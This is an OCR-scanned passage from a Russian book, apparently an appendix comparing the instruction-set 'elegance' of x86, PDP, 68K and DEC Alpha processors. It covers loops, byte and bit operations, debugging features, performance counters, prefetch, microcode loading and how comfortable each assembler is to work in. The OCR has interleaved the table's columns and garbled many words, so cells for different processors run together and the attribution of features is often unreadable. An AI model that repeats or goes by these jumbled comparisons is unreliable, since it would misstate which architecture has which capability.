...»аиз элегантности архитектур различных процессоров 313 Характе' ристики х86 PDP 68К DEC Alpha ^процессора CISC CISC CISC RISC ~ циклы вдержка весьма поддерживается отсутствуют отсутствуют ЦИКЛОВ ограниченная — ЦИКЛ, поддерживается стремящийся ЛИШЬ цикл, к нулю, стремящийся счетчик к нолю. которого причем может f счетчик находиться цикла жестко в любом привязан регистре к регистру или ячейке I ЕСХ/СХ, команда цикла исполняется крайне неэффективно, и ее использо- вание не рекомен- дуется памяти байтовые операции байтовые расширение перестановка попарное операции извлечение байтов сравнение, 0 и 1 байта извлечение, из некоторых вставка (!), регистров, - маскирование, (в ММХ: ...) заполнение разбить длинное слово, хранящееся в Регистрах, на байты нет нет да нет битовые операции подсчет кол-ва битов нет нет нет? есть и др. битовые команды . часто используемые математические операции команда очистки отсутствует, имеется имеется отсутствует, используется но может команда читаться пересылки непосред. ноля или XOR «черная» дыра
314 Приложение В. Анализ элегантности архитектур различных процессооов Характе- ристики х86 PDP 68К utt Alpha тип процессора CISC CISC CISC RISC команда обращения нет есть есть нет? знака / )рочие архитектурные осоьенности встроенные есть. зачаточные зачаточные зачаточные? средства начиная отладки с Pentium, и богатые мониторинг есть, отсутствует отсутствует есть: счетчик производи- тельности расширенный ЦИКЛОВ команды «ручная» предвыборки начиная с Р-Ш и Athlon и автомати- ческая начиная с Р-4 отсутствует отсутствует присутствуют ВОЗМОЖНОСТЬ заливки собственных микропрограмм отсутствует отсутствует отсутствует имеется Выводы субъективные очень очень ликвидирует крайне впечатления развитая элегантный слабые обедненный от удобства система и чрезвычайно места PDP ассемблер, программ и- команд, удобный и обладает ручная работа рования работать в работе практически превращается на ассемблере легко, ассемблер. всеми из удовольствия приятно «делающий» приятностями в рутину. и удобно, х86 уже х86 тем не менее за исключением за счет в нем есть незначительных развитой очарование, «заморочек» системы за которое с отсутствием адресации его можно - адресации па мять-па мять и жесткой привязки к регистрам в командах IN, OUT, MUL и DIV полюбить богатство чрезвычайно — богатый минимальный сопроцессора богатый набор набор набор команд, включая всю тригонометрию и еще много чего команд команд
лыапиз элегантности архитектур различных процессоров 315 __———" Характе- ристики х86 PDP 68К DEC Alpha тип процессора CISC CISC CISC RISC полнота ни один «язык» PDP-11 «язык» 68k язык DEC Alpha 0спо л ьзова ния компилятор процессоров процессоров столь примитивен, процессора не реализует легко легко что и компилятор. компиляторами возможности х86 процессоров в полной мере (особенно это касается векторных операций), поэтому его программи- рование на ассемблере вполне оправдано отображается на язык Си, и потому хорошие компиляторы достаточно полно используют возможности процессора отображается на язык Си, и потому хорошие компиляторы достаточно полно используют возможности процессора и человек используют его практически с одной и той же эффективностью